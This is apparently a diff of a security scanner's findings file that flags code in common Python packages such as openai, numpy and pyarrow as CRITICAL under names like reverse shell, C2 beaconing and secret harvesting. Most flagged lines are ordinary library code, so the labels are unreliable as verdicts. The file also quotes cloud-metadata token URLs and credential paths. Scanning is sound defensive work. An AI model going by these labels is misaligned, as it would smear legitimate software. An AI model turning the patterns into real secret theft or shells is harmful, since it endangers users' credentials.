+      "evidence_hash": "2d691bc373ab872aad23c744104596ba6d0d9f3b35aa101c7edbff4429b174c1"
     },
     {
       "package": "click",
       "file": "click/testing.py",
       "check": "Reverse shell / bind shell pattern",
       "severity": "CRITICAL",
-      "evidence": "L91: os.dup2(self._tmpfile.fileno(), self._targetfd) | L95: os.dup2(self.saved_fd, self._targetfd)"
+      "evidence": "L103:         os.dup2(self._tmpfile.fileno(), self._targetfd) | L107:         os.dup2(self.saved_fd, self._targetfd)",
+      "evidence_hash": "7cfc260cd91d7ee7e65aaf0551f115d03593422b6dfcb3761fd74d18affec2e1"
     },
     {
       "package": "datasets",
       "file": "datasets/utils/file_utils.py",
       "check": "C2 polling/beaconing loop detected",
       "severity": "CRITICAL",
-      "evidence": "L441: while True:"
+      "evidence": "L443:     while True: sha256:feba37d77721aa658e1786d2e4b67de76fefe1ceeb3ce8529d361c5241778eea",
+      "evidence_hash": "2e458563dec752d0a9896c9685d368d9906867110db315ab751e3eb6ec63f51c"
+    },
+    {
+      "package": "datasets",
+      "file": "datasets/utils/file_utils.py",
+      "check": "C2 polling/beaconing loop detected",
+      "severity": "CRITICAL",
+      "evidence": "L441:     while True: sha256:ce92e38c17c524815e1f9055be77235028c1e68e41b45cbfe9c8f1b867a205da",
+      "evidence_hash": "cb36281d28a975d101121c0702ee05eeee470879520d39a8be552129333f514d"
     },
     {
       "package": "diffusers",
       "file": "diffusers/utils/import_utils.py",
       "check": "Downloads and executes remote code",
       "severity": "CRITICAL",
-      "evidence": "L1015: return importlib.import_module(\".\" + module_name, self.__name__)"
+      "evidence": "L1015:             return importlib.import_module(\".\" + module_name, self.__name__)",
+      "evidence_hash": "e584ecfdb097d9482bb19cd3992813bc1a119cfd4c40af14748bafe22900d91e"
     },
     {
       "package": "diffusers",
       "file": "diffusers/utils/testing_utils.py",
       "check": "Harvests environment variables/secrets AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "Env: L233: value = os.environ[key]\nNetwork: L688: response = requests.get(arry, timeout=DIFFUSERS_REQUEST_TIMEOUT) | L709: response = requests.get(url, timeout=DIFFUSERS_REQUEST_TIMEOUT) | L728: image = PIL.Image.open(requests.get(image, st"
+      "evidence": "Env: L233:         value = os.environ[key]\nNetwork: L688:             response = requests.get(arry, timeout=DIFFUSERS_REQUEST_TIMEOUT) | L709:     response = requests.get(url, timeout=DIFFUSERS_REQUEST_TIMEOUT) | L728:             image = PIL.Image.open(requests.get(image, stream=True, timeout=DIFFUSERS_REQUEST_TIMEOUT).raw)",
+      "evidence_hash": "671190a6106c6ee9674e5e5942dc0940e1d2f8c78d5faf674413c2345b783fd9"
     },
     {
       "package": "dill",
       "file": "dill/_objects.py",
       "check": "Creates archive with sensitive data AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "Archive: L317: a['TarFileType'] = tarfile.open(fileobj=_fileW,mode='w')\nNetwork: L330: x['SocketType'] = _socket = socket.socket()"
-    },
-    {
-      "package": "evaluate",
-      "file": "evaluate/utils/file_utils.py",
-      "check": "C2 polling/beaconing loop detected",
-      "severity": "CRITICAL",
-      "evidence": "L261: while True:"
-    },
-    {
-      "package": "execnet",
-      "file": "execnet/gateway_base.py",
-      "check": "Reverse shell / bind shell pattern",
-      "severity": "CRITICAL",
-      "evidence": "L1783: os.dup2(fd, 0) | L1789: os.dup2(fd, 1) | L1794: os.dup2(fd, 2)"
-    },
-    {
-      "package": "fastapi",
-      "file": "fastapi/routing.py",
-      "check": "C2 polling/beaconing loop detected",
-      "severity": "CRITICAL",
-      "evidence": "L579: while True:"
+      "evidence": "Archive: L317: a['TarFileType'] = tarfile.open(fileobj=_fileW,mode='w')\nNetwork: L330: x['SocketType'] = _socket = socket.socket()",
+      "evidence_hash": "894862e547cf91b90cd6e4b495db3fb05b7490ef0d63de7e795a7e3d9447d850"
     },
     {
       "package": "fastmcp-slim",
       "file": "fastmcp/cli/apps_dev.py",
       "check": "Creates archive with sensitive data AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "Archive: L1340: with tarfile.open(fileobj=io.BytesIO(data), mode=\"r:gz\") as tar:\nNetwork: L1291: with httpx.Client(timeout=30.0) as client: | L1305: with httpx.Client(timeout=30.0) as client: | L1335: with httpx.Client(timeout=30.0) as clie"
+      "evidence": "Archive: L1340:     with tarfile.open(fileobj=io.BytesIO(data), mode=\"r:gz\") as tar:\nNetwork: L1291:     with httpx.Client(timeout=30.0) as client: | L1305:     with httpx.Client(timeout=30.0) as client: | L1335:     with httpx.Client(timeout=30.0) as client: | L1537:         client = httpx.AsyncClient(\nL1538:             timeout=httpx.Timeout(60.0, read=None), trust_env=False\nL1539:         ) | L1701:     async with httpx.AsyncClient(trust_env=False) as client: | L1769:                     with socket.socket(family, socket.SOCK_STREAM) as s:",
+      "evidence_hash": "73a7a72013e9f800627ea07e6dbc3beeb8c905a6a5480c8fd896f0063173d25c"
     },
     {
       "package": "fastmcp-slim",
       "file": "fastmcp/cli/apps_dev.py",
       "check": "Enumerates filesystem AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "FS: L624: history.replaceState(null, \"\", url);\nNetwork: L1291: with httpx.Client(timeout=30.0) as client: | L1305: with httpx.Client(timeout=30.0) as client: | L1335: with httpx.Client(timeout=30.0) as client:"
+      "evidence": "FS: L624:     history.replaceState(null, \"\", url); sha256:fd8dbfa8af4dea2ce43f4d441f3f81239de341b76a2eb0a33c446f6757ce5f43\nNetwork: L1291:     with httpx.Client(timeout=30.0) as client: | L1305:     with httpx.Client(timeout=30.0) as client: | L1335:     with httpx.Client(timeout=30.0) as client: | L1537:         client = httpx.AsyncClient(\nL1538:             timeout=httpx.Timeout(60.0, read=None), trust_env=False\nL1539:         ) | L1701:     async with httpx.AsyncClient(trust_env=False) as client: | L1769:                     with socket.socket(family, socket.SOCK_STREAM) as s:",
+      "evidence_hash": "6ada4a9111213bdee5ea24c70a72ec4acdc8ffe0de4a01fd9835bc261ccab8f8"
     },
     {
       "package": "fonttools",
       "file": "fontTools/diff/__init__.py",
       "check": "Reverse shell / bind shell pattern",
       "severity": "CRITICAL",
-      "evidence": "L202: os.dup2(devnull, sys.stdout.fileno())"
+      "evidence": "L202:         os.dup2(devnull, sys.stdout.fileno())",
+      "evidence_hash": "6ff12ba150358aa0b2756d60df29a7ac9c08e60d0a1ad42157fd30af6e7d50ee"
     },
     {
       "package": "fonttools",
       "file": "fontTools/ttLib/ttFont.py",
       "check": "Downloads and executes remote code",
       "severity": "CRITICAL",
-      "evidence": "L1420: __import__(\"fontTools.ttLib.tables.\" + pyTag)"
+      "evidence": "L1420:         __import__(\"fontTools.ttLib.tables.\" + pyTag)",
+      "evidence_hash": "512ecbb7539ddfd5296f8ea2d132ef4000a71033fd444d8a7539f6936dc9ad01"
     },
     {
       "package": "httpx",
       "file": "httpx/_models.py",
       "check": "Enumerates filesystem AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "FS: L528: history: list[Response] | None = None,\nNetwork: L9: import urllib.request | L1243: class _CookieCompatRequest(urllib.request.Request):"
+      "evidence": "FS: L528:         history: list[Response] | None = None, sha256:f56272dccd651b2644aa41ef6e688e211462427aad07fef5150240ec7347446e\nNetwork: L9: import urllib.request | L1243:     class _CookieCompatRequest(urllib.request.Request):",
+      "evidence_hash": "b32f79e58c938680d89efa74113eeba76c9fc5aedf5de18086f93bef274c4bda"
     },
     {
       "package": "huggingface-hub",
       "file": "huggingface_hub/hf_api.py",
       "check": "C2 polling/beaconing loop detected",
       "severity": "CRITICAL",
-      "evidence": "L4577: while True:"
+      "evidence": "L3746:         while True: sha256:0c73ed1a7447120b112c063b14e720c6695bc11d00eb6b912cd0f10dc3e29b31",
+      "evidence_hash": "22f50b930e44146c5350bb99e6e6ebb09feea9bf1e899e407bedc4ffaf06721b"
+    },
+    {
+      "package": "huggingface-hub",
+      "file": "huggingface_hub/hf_api.py",
+      "check": "C2 polling/beaconing loop detected",
+      "severity": "CRITICAL",
+      "evidence": "L4600:         while True: sha256:f4a851312a1832efe1b435aa1275a82184e19cc3f47e2cd244373d56c11de272",
+      "evidence_hash": "dc8fcf44788e32f42d1cc2eb0e2deb55eb2dbf2c3a55909a7d503e450f45e602"
     },
     {
       "package": "huggingface-hub",
       "file": "huggingface_hub/hf_api.py",
       "check": "Harvests environment variables/secrets AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "Env: L10852: o.addheaders = [(\"Authorization\", \"Bearer \" + os.environ[\"UV_SCRIPT_HF_TOKEN\"])]\nNetwork: L6504: resp = requests.post(path, headers=headers, json=body) | L10848: import urllib.request | L10851: o = urllib.request.build_opener()"
+      "evidence": "Env: L10852:                     o.addheaders = [(\"Authorization\", \"Bearer \" + os.environ[\"UV_SCRIPT_HF_TOKEN\"])]\nNetwork: L6504:         resp = requests.post(path, headers=headers, json=body) | L10848:                     import urllib.request | L10851:                     o = urllib.request.build_opener()",
+      "evidence_hash": "7b22edf0aac33ec94f0fd986ace3e63e7ac7554ba4702dbb6fa099646958f5f4"
     },
     {
       "package": "huggingface-hub",
       "file": "huggingface_hub/utils/_http.py",
       "check": "C2 polling/beaconing loop detected",
       "severity": "CRITICAL",
-      "evidence": "L428: while True:"
+      "evidence": "L443:     while True: sha256:0ab4fed32d3af10f361963371f681923481377508a405b5d8770cef75f859168",
+      "evidence_hash": "1484f6b92f41c427ba8cbc7c4695a94975fea683dfa83aa510b4b0e982be4721"
+    },
+    {
+      "package": "huggingface-hub",
+      "file": "huggingface_hub/utils/_http.py",
+      "check": "C2 polling/beaconing loop detected",
+      "severity": "CRITICAL",
+      "evidence": "L298:     while True: sha256:6b8e5e569594caf7c4eca6137646dae471a7c3aae7294096cf876f30b5f90306",
+      "evidence_hash": "c066cc27bce31ee7b6ce07411ee7a7d9ecfbf3aafc8848f6641fabfe522a7703"
     },
     {
       "package": "ipython",
       "file": "IPython/core/interactiveshell.py",
       "check": "Enumerates filesystem AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "FS: L78: from IPython.core.history import HistoryManager, HistoryOutput\nNetwork: L4048: from urllib.request import urlopen | L4049: response = urlopen(target)"
+      "evidence": "FS: L78: from IPython.core.history import HistoryManager, HistoryOutput sha256:b644ca2db22c393a1d3302e855a013215446f5aae5eceb7a9fdab4a6d0610b14\nNetwork: L4048:                 from urllib.request import urlopen | L4049:                 response = urlopen(target)",
+      "evidence_hash": "c332f54f5b94641a417958be0a9be7446f25c65dc007dedd3cb5f01d83076cb3"
     },
     {
       "package": "ipython",
       "file": "IPython/terminal/pt_inputhooks/__init__.py",
       "check": "Downloads and executes remote code",
       "severity": "CRITICAL",
-      "evidence": "L139: mod = importlib.import_module(\"IPython.terminal.pt_inputhooks.\" + gui_mod)"
+      "evidence": "L139:     mod = importlib.import_module(\"IPython.terminal.pt_inputhooks.\" + gui_mod)",
+      "evidence_hash": "3b7a403abee4c5c817718802869e0f75f5bb4f479fba3cbed19f9cf32d926025"
     },
     {
       "package": "ipython",
       "file": "IPython/utils/py3compat.py",
       "check": "Downloads and executes remote code",
       "severity": "CRITICAL",
-      "evidence": "L57: exec(compiler(f.read(), fname, \"exec\"), glob, loc)"
+      "evidence": "L58:         exec(compiler(f.read(), fname, \"exec\"), glob, loc)",
+      "evidence_hash": "f8dfef823b3380dbf7f4bb697998ddecc31b4b26b03e593c0f287c419b329d17"
     },
     {
       "package": "jaraco-context",
       "file": "jaraco/context/__init__.py",
       "check": "Creates archive with sensitive data AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "Archive: L106: with tarfile.open(fileobj=req, mode='r|*') as tf:\nNetwork: L15: import urllib.request | L105: req = urllib.request.urlopen(url)"
+      "evidence": "Archive: L106:         with tarfile.open(fileobj=req, mode='r|*') as tf:\nNetwork: L15: import urllib.request | L105:         req = urllib.request.urlopen(url)",
+      "evidence_hash": "4b7365cdf9279e002a67e13669a1596e5036a3d33eb88152236ff30d8093672c"
     },
     {
       "package": "matplotlib",
       "file": "matplotlib/backends/backend_webagg.py",
       "check": "Reverse shell / bind shell pattern",
       "severity": "CRITICAL",
-      "evidence": "L56: if not webbrowser.open(url):"
+      "evidence": "L56:             if not webbrowser.open(url): sha256:c92ecd0cb3aa00166f26aa2017eb2201cc6050d58de2654ada01a1d392a5c97c",
+      "evidence_hash": "bf56dfffad9c8638feab6a8bd7d74da6abc78ff406663e97ff5ac18f30c2f583"
     },
     {
       "package": "multiprocess",
       "file": "multiprocess/forkserver.py",
       "check": "Reverse shell / bind shell pattern",
       "severity": "CRITICAL",
-      "evidence": "L5: import socket"
-    },
-    {
-      "package": "multiprocess",
-      "file": "multiprocess/tests/__init__.py",
-      "check": "Reverse shell / bind shell pattern",
-      "severity": "CRITICAL",
-      "evidence": "L3355: os.dup2(conn.fileno(), i) | L3387: \"test needs os.dup2()\") | L3405: os.dup2(fd, newfd)"
+      "evidence": "L5: import socket sha256:915068303029fa5806199f256fb74504c65f253f9aee8ea23d8e384bb772b1c7",
+      "evidence_hash": "30be130f165f418dfd37b144c5ae333de184b95f828ab8bd4010a67b84a5f814"
     },
     {
       "package": "numba",
       "file": "numba/pycc/decorators.py",
       "check": "Downloads and executes remote code",
       "severity": "CRITICAL",
-      "evidence": "L44: exec(compile(fin.read(), ifile, 'exec'))"
+      "evidence": "L44:             exec(compile(fin.read(), ifile, 'exec'))",
+      "evidence_hash": "9bfde86a0af7c9c81acd5334ebab3ba97c33d22c501295114fde0087b0be3f05"
     },
     {
       "package": "numba",
       "file": "numba/tests/support.py",
       "check": "Reverse shell / bind shell pattern",
       "severity": "CRITICAL",
-      "evidence": "L1021: os.dup2(w, fd) | L1026: os.dup2(save, fd)"
+      "evidence": "L1021:         os.dup2(w, fd) | L1026:         os.dup2(save, fd)",
+      "evidence_hash": "fea7aa03d48bf0f4386302fa444984c4f5dfc772cfec3f1df199fd33a52eec10"
     },
     {
       "package": "numba",
       "file": "numba/tests/test_codegen.py",
       "check": "base64 decode + subprocess execution (staged payload)",
       "severity": "CRITICAL",
-      "evidence": "Base64: L127: state = pickle.loads(base64.b64decode(sys.argv[1]))\nSubprocess: L130: subprocess.check_call([sys.executable, '-c', code, arg.decode()])"
+      "evidence": "Base64: L127:             state = pickle.loads(base64.b64decode(sys.argv[1]))\nSubprocess: L130:         subprocess.check_call([sys.executable, '-c', code, arg.decode()])",
+      "evidence_hash": "e2e6436a0849b687046a00576836b0f5f048ecf6118f9d8e6d5558fefd0aa488"
     },
     {
       "package": "numpy",
       "file": "numpy/f2py/capi_maps.py",
       "check": "Downloads and executes remote code",
       "severity": "CRITICAL",
-      "evidence": "L159: d = eval(f.read().lower(), {}, {})"
+      "evidence": "L159:             d = eval(f.read().lower(), {}, {})",
+      "evidence_hash": "70e3d1f82997b292e97bd3f8c3804181f575a7dce74cb2fa8e9fb1f0a119ab2f"
     },
     {
       "package": "numpy",
       "file": "numpy/lib/tests/test__datasource.py",
       "check": "Enumerates filesystem AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "FS: L45: malicious_files = ['/etc/shadow', '../../shadow',\nNetwork: L2: import urllib.request as urllib_request"
+      "evidence": "FS: L45: malicious_files = ['/etc/shadow', '../../shadow',\nL46:                    '..\\\\system.dat', 'c:\\\\windows\\\\system.dat']\nNetwork: L2: import urllib.request as urllib_request",
+      "evidence_hash": "9aa30dfee01a520f20ab77de468feb0558bd9d95c6dd509146ffc48c8d4dc469"
     },
     {
       "package": "openai",
       "file": "openai/_base_client.py",
       "check": "C2 polling/beaconing loop detected",
       "severity": "CRITICAL",
-      "evidence": "L264: while True:"
+      "evidence": "L264:         while True: sha256:95ca67e46d42354ae650abbdc5b0d97df8b0ed43187800bf40f5690c3901b94b",
+      "evidence_hash": "a57d8d15fed0bf04f9967dcc18a18b80bb19f4095675bccbb78ac0450d7fce14"
     },
     {
       "package": "openai",
       "file": "openai/_client.py",
       "check": "Harvests environment variables/secrets AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "Env: L174: api_key = os.environ.get(\"OPENAI_API_KEY\") | L184: admin_api_key = os.environ.get(\"OPENAI_ADMIN_KEY\") | L207: webhook_secret = os.environ.get(\"OPENAI_WEBHOOK_SECRET\")\nNetwork: L140: http_client: httpx.Client | None = None, | L521"
+      "evidence": "Env: L209:                 api_key = os.environ.get(\"OPENAI_API_KEY\") | L219:             admin_api_key = os.environ.get(\"OPENAI_ADMIN_KEY\") | L243:             webhook_secret = os.environ.get(\"OPENAI_WEBHOOK_SECRET\") | L805:                 api_key = os.environ.get(\"OPENAI_API_KEY\") | L815:             admin_api_key = os.environ.get(\"OPENAI_ADMIN_KEY\") | L839:             webhook_secret = os.environ.get(\"OPENAI_WEBHOOK_SECRET\")\nNetwork: L144:         http_client: httpx.Client | None = None, | L586:         http_client: httpx.Client | None = None, | L740:         http_client: httpx.AsyncClient | None = None, | L1193:         http_client: httpx.AsyncClient | None = None,",
+      "evidence_hash": "d806c1e5eedb1eba7e2d9e6f31f3cc59b1882c8e843dfa3f5eac1fe7abdf296d"
     },
     {
       "package": "openai",
       "file": "openai/auth/_workload.py",
       "check": "Accesses cloud metadata/IMDS AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "IMDS: L96: url = \"http://169.254.169.254/metadata/identity/oauth2/token\" | L149: url = \"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/identity\"\nNetwork: L77: http_client: httpx.Client | None = None, | "
+      "evidence": "IMDS: L96:             url = \"http://169.254.169.254/metadata/identity/oauth2/token\" | L149:             url = \"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/identity\"\nNetwork: L77:     http_client: httpx.Client | None = None, | L108:                 with httpx.Client() as client: | L133:     http_client: httpx.Client | None = None, | L155:                 with httpx.Client() as client: | L248:         with httpx.Client() as client:",
+      "evidence_hash": "1581d9f4a23393e9af23fbe5ef9f66807b22c5b5a3f1fe167254c9ebee108567"
     },
     {
       "package": "openai",
       "file": "openai/lib/azure.py",
       "check": "Harvests environment variables/secrets AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "Env: L213: api_key = os.environ.get(\"AZURE_OPENAI_API_KEY\") | L216: azure_ad_token = os.environ.get(\"AZURE_OPENAI_AD_TOKEN\") | L533: api_key = os.environ.get(\"AZURE_OPENAI_API_KEY\")\nNetwork: L36: _HttpxClientT = TypeVar(\"_HttpxClientT\", bou"
+      "evidence": "Env: L214:             api_key = os.environ.get(\"AZURE_OPENAI_API_KEY\") | L217:             azure_ad_token = os.environ.get(\"AZURE_OPENAI_AD_TOKEN\") | L538:             api_key = os.environ.get(\"AZURE_OPENAI_API_KEY\") | L541:             azure_ad_token = os.environ.get(\"AZURE_OPENAI_AD_TOKEN\")\nNetwork: L37: _HttpxClientT = TypeVar(\"_HttpxClientT\", bound=Union[httpx.Client, httpx.AsyncClient]) | L100: class AzureOpenAI(BaseAzureClient[httpx.Client, Stream[Any]], OpenAI): | L119:         http_client: httpx.Client | None = None, | L141:         http_client: httpx.Client | None = None, | L163:         http_client: httpx.Client | None = None, | L189:         http_client: httpx.Client | None = None, | L297:         http_client: httpx.Client | None = None, | L421: class AsyncAzureOpenAI(BaseAzureClient[httpx.AsyncClient, AsyncStream[Any]], AsyncOpenAI): | L441:         http_client: httpx.AsyncClient | None = None, | L464:         http_client: httpx.AsyncClient | None = None, | L487:         http_client: httpx.AsyncClient | None = None, | L513:         http_client: httpx.AsyncClient | None = None, | L621:         http_client: httpx.AsyncClient | None = None,",
+      "evidence_hash": "a81d958bdcc6c2e98290a6592a9d52f8fc44e6ce4ac983301840136464779923"
     },
     {
       "package": "openai",
       "file": "openai/lib/bedrock.py",
       "check": "Harvests environment variables/secrets AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "Env: L133: api_key = os.environ.get(\"AWS_BEARER_TOKEN_BEDROCK\") | L308: api_key = os.environ.get(\"AWS_BEARER_TOKEN_BEDROCK\")\nNetwork: L119: http_client: httpx.Client | None = None, | L203: http_client: httpx.Client | None = None, | L294: ht"
+      "evidence": "Env: L105:     token = os.environ.get(\"AWS_BEARER_TOKEN_BEDROCK\") | L150:     environment_token = os.environ.get(\"AWS_BEARER_TOKEN_BEDROCK\")\nNetwork: L415:         http_client: httpx.Client | None = None, | L531:         http_client: httpx.Client | None = None, | L649:         http_client: httpx.AsyncClient | None = None, | L767:         http_client: httpx.AsyncClient | None = None,",
+      "evidence_hash": "92dbec8ccd79c1e0bc41e93cdd0bdbb091220616c6a1352873196e9dda6bd85c"
     },
     {
       "package": "openai",
       "file": "openai/resources/beta/threads/runs/runs.py",
       "check": "C2 polling/beaconing loop detected",
       "severity": "CRITICAL",
-      "evidence": "L1074: while True:"
+      "evidence": "L1074:         while True: sha256:ef6d59a4a10b73a5af491f10af2885b7a309fda9468eb0f9572d19558d3ceb9f",
+      "evidence_hash": "43c03b55fedcbc980e5e6649c3c4493729128d280cc868349ab9590908ea5f99"
     },
     {
       "package": "openai",
       "file": "openai/resources/realtime/realtime.py",
       "check": "C2 polling/beaconing loop detected",
       "severity": "CRITICAL",
-      "evidence": "L310: while True:"
+      "evidence": "L310:         while True: sha256:458198ff3d3f05870bf98c9564cbfd68c739e57b9bbe4120ed81e3eb6af74a05",
+      "evidence_hash": "a3165d21e46b3ce553795daeae53e8f80e8e89c5cb228e68e6dcaff54bca5a89"
     },
     {
       "package": "openai",
       "file": "openai/resources/responses/responses.py",
       "check": "C2 polling/beaconing loop detected",
       "severity": "CRITICAL",
-      "evidence": "L3803: while True:"
+      "evidence": "L3803:         while True: sha256:1ce0b5a388c747945cdfda1a71b77afdfd03ae840d7aa9fa62f02eb00aa5e29f",
+      "evidence_hash": "6de300ebb5e6e17cb51c89cbcdf08515a44655182f0776f0908a9d1043ebbcd7"
     },
     {
       "package": "openai",
       "file": "openai/resources/vector_stores/file_batches.py",
       "check": "C2 polling/beaconing loop detected",
       "severity": "CRITICAL",
-      "evidence": "L347: while True:"
+      "evidence": "L347:         while True: sha256:604449e8ed433290252fe3f7a48a9e1d8ce46fa148b4ef3037042cc42fdb737b",
+      "evidence_hash": "e6c1e9bb40accffe2d597e875439bab405e51d9e53f1dad87fd276c0d4014981"
     },
     {
       "package": "openai",
       "file": "openai/resources/vector_stores/files.py",
       "check": "C2 polling/beaconing loop detected",
       "severity": "CRITICAL",
-      "evidence": "L376: while True:"
+      "evidence": "L376:         while True: sha256:1bf8d6ef91d4043c98982fb19e5f5685b239a855cd4ff6c11b9b19651d43e944",
+      "evidence_hash": "8d26a3a0ab3d937e6d4f6873fa648c04afc59484122287bc96b1c022ede4065a"
     },
     {
       "package": "openai",
       "file": "openai/resources/videos.py",
       "check": "C2 polling/beaconing loop detected",
       "severity": "CRITICAL",
-      "evidence": "L186: while True:"
+      "evidence": "L186:         while True: sha256:e48be2f193c22eb93024339b9c04fff5dd80c8318708012432df119aef612a41",
+      "evidence_hash": "f1764390bf5e4e55fdedc1f5ec492535f3dd4444f9fb17eb6ce9eaaa010d1a81"
     },
     {
       "package": "protobuf",
       "file": "protobuf-3.19.6-nspkg.pth",
       "check": ".pth has advanced obfuscation (marshal/compile/zlib/__import__)",
       "severity": "CRITICAL",
-      "evidence": "L1: import sys, types, os;has_mfs = sys.version_info > (3, 5);p = os.path.join(sys._getframe(1).f_locals['sitedir'], *('google',));importlib = has_mfs and __import_..."
+      "evidence": "L1: import sys, types, os;has_mfs = sys.version_info > (3, 5);p = os.path.join(sys._getframe(1).f_locals['sitedir'], *('google',));importlib = has_mfs and __import__('importlib.util');has_mfs and __import sha256:233fd2c695435bb5ee9cc00f442153f9dc9901e8a352814c2d23dfd6da0fe70d",
+      "evidence_hash": "7675d9e6d5a180ae22e00fb0ca8adde65e63adc9751bc7d5bd337238b4ba584c"
     },
     {
       "package": "ptyprocess",
       "file": "ptyprocess/_fork_pty.py",
       "check": "Reverse shell / bind shell pattern",
       "severity": "CRITICAL",
-      "evidence": "L33: os.dup2(child_fd, STDIN_FILENO) | L34: os.dup2(child_fd, STDOUT_FILENO) | L35: os.dup2(child_fd, STDERR_FILENO)"
+      "evidence": "L33:         os.dup2(child_fd, STDIN_FILENO) | L34:         os.dup2(child_fd, STDOUT_FILENO) | L35:         os.dup2(child_fd, STDERR_FILENO)",
+      "evidence_hash": "fd104d50945eb60182d81e988885ec927f3b3abc3758b78bece2cd9d65613926"
     },
     {
       "package": "pyarrow",
       "file": "pyarrow/tests/conftest.py",
       "check": "Harvests environment variables/secrets AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "Env: L210: env = os.environ.copy() | L241: env = os.environ.copy() | L267: env = os.environ.copy()\nNetwork: L24: import urllib.request | L203: resp = urllib.request.urlopen(f\"http://{address}/minio/health/live\")"
+      "evidence": "Env: L210:     env = os.environ.copy() | L241:     env = os.environ.copy() | L267:     env = os.environ.copy()\nNetwork: L24: import urllib.request | L203:         resp = urllib.request.urlopen(f\"http://{address}/minio/health/live\")",
+      "evidence_hash": "8819f266bbf0cb7cdd5a0a491b83b79fb5eefc132b77d2f4b080dfda8ac32514"
     },
     {
       "package": "pyarrow",
       "file": "pyarrow/tests/test_extension_type.py",
       "check": "base64 decode + subprocess execution (staged payload)",
       "severity": "CRITICAL",
-      "evidence": "Base64: L1065: decoded_schema = base64.b64decode(meta.metadata[b\"ARROW:schema\"])\nSubprocess: L1350: subprocess.check_call([sys.executable, 'setup.py',"
+      "evidence": "Base64: L1065:     decoded_schema = base64.b64decode(meta.metadata[b\"ARROW:schema\"])\nSubprocess: L1350:         subprocess.check_call([sys.executable, 'setup.py',\nL1351:                                'build_ext', '--inplace'],\nL1352:                               env=subprocess_env)",
+      "evidence_hash": "83d7a4cf32639e44b3a7923c5ca68bdf5488ffccf32bc0992821e45680a145a5"
     },
     {
       "package": "pyarrow",
       "file": "pyarrow/tests/test_flight.py",
       "check": "base64 decode + subprocess execution (staged payload)",
       "severity": "CRITICAL",
-      "evidence": "Base64: L592: token = base64.b64decode(token) | L692: decoded = base64.b64decode(values[1])\nSubprocess: L2674: res = subprocess.run([sys.executable, \"-c\", code], env=env,"
+      "evidence": "Base64: L592:         token = base64.b64decode(token) | L692:             decoded = base64.b64decode(values[1])\nSubprocess: L2674:     res = subprocess.run([sys.executable, \"-c\", code], env=env,\nL2675:                          capture_output=True)",
+      "evidence_hash": "8b353712547a31cb704343cc04b2faa25b5cf5850c59a8f7866baeb28f6ec317"
     },
     {
       "package": "pyarrow",
       "file": "pyarrow/tests/test_orc.py",
       "check": "Writes to /tmp and executes (staged dropper)",
       "severity": "CRITICAL",
-      "evidence": "L154: os.environ['TZDIR'] = '/tmp/non_existent'"
+      "evidence": "L154:         os.environ['TZDIR'] = '/tmp/non_existent' sha256:d41f7ed866d91fe7b45dfdb557b81bb9c2a05101cf28cd7d39d8aa6faf249b00",
+      "evidence_hash": "4570f9f31ee6a90906e1074fa1877dcf0c8e061a0b83dec089da25b61071133c"
     },
     {
       "package": "pyarrow",
       "file": "pyarrow/tests/util.py",
       "check": "Reverse shell / bind shell pattern",
       "severity": "CRITICAL",
-      "evidence": "L30: import socket"
+      "evidence": "L30: import socket sha256:5a5d71dfd22906b5dc8b1514316391e05a865f2c94c20dcc96683963f48106f7",
+      "evidence_hash": "76caefdfe4ac470f26379f05238b2dbfd62a864b8cd43e2392f228264cb1de85"
     },
     {
       "package": "pyarrow",
       "file": "pyarrow/util.py",
       "check": "Creates archive with sensitive data AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "Archive: L293: tarfile.open(tzdata_compressed_path).extractall(tzdata_path)\nNetwork: L198: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | L234: from urllib.request import urlopen, Request | L236: with urlopen(req) as response:"
+      "evidence": "Archive: L293:     tarfile.open(tzdata_compressed_path).extractall(tzdata_path)\nNetwork: L198:     sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | L234:     from urllib.request import urlopen, Request | L236:     with urlopen(req) as response: | L243:     with requests.get(url) as response:",
+      "evidence_hash": "f231aaa341028cecb8fb2e183ea401dc08826facf3b18e8f733d653f6cad8d9e"
     },
     {
       "package": "pygments",
       "file": "pygments/formatters/__init__.py",
       "check": "Downloads and executes remote code",
       "severity": "CRITICAL",
-      "evidence": "L103: exec(f.read(), custom_namespace)"
+      "evidence": "L103:             exec(f.read(), custom_namespace)",
+      "evidence_hash": "b767963474babbcfef5652eb7528d34dd9e17efa2aa0d2cef63d809ea4ad0f83"
     },
     {
       "package": "pygments",
       "file": "pygments/lexers/__init__.py",
       "check": "Downloads and executes remote code",
       "severity": "CRITICAL",
-      "evidence": "L154: exec(f.read(), custom_namespace)"
+      "evidence": "L154:             exec(f.read(), custom_namespace)",
+      "evidence_hash": "b767963474babbcfef5652eb7528d34dd9e17efa2aa0d2cef63d809ea4ad0f83"
     },
     {
       "package": "pygments",
       "file": "pygments/lexers/_mysql_builtins.py",
       "check": "Enumerates filesystem AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "FS: L792: 'history',\nNetwork: L1285: from urllib.request import urlopen | L1297: lex_file = urlopen(LEX_URL).read().decode('utf8', errors='ignore') | L1303: item_create_file = urlopen(ITEM_CREATE_URL).read().decode('utf8', errors='ignore')"
+      "evidence": "FS: L792:     'history', sha256:7c4e519af214f72bf45d4dcfa6a90aa96d2ffd5d1b76b244998110077a946fd2\nNetwork: L1285:     from urllib.request import urlopen | L1297:         lex_file = urlopen(LEX_URL).read().decode('utf8', errors='ignore') | L1303:         item_create_file = urlopen(ITEM_CREATE_URL).read().decode('utf8', errors='ignore')",
+      "evidence_hash": "b379f7d1fc3d64911722a7082237ed225c874240cf388c07120b8cdaace16114"
     },
     {
       "package": "pygments",
       "file": "pygments/lexers/_php_builtins.py",
       "check": "Creates archive with sensitive data AND makes network calls",
       "severity": "CRITICAL",
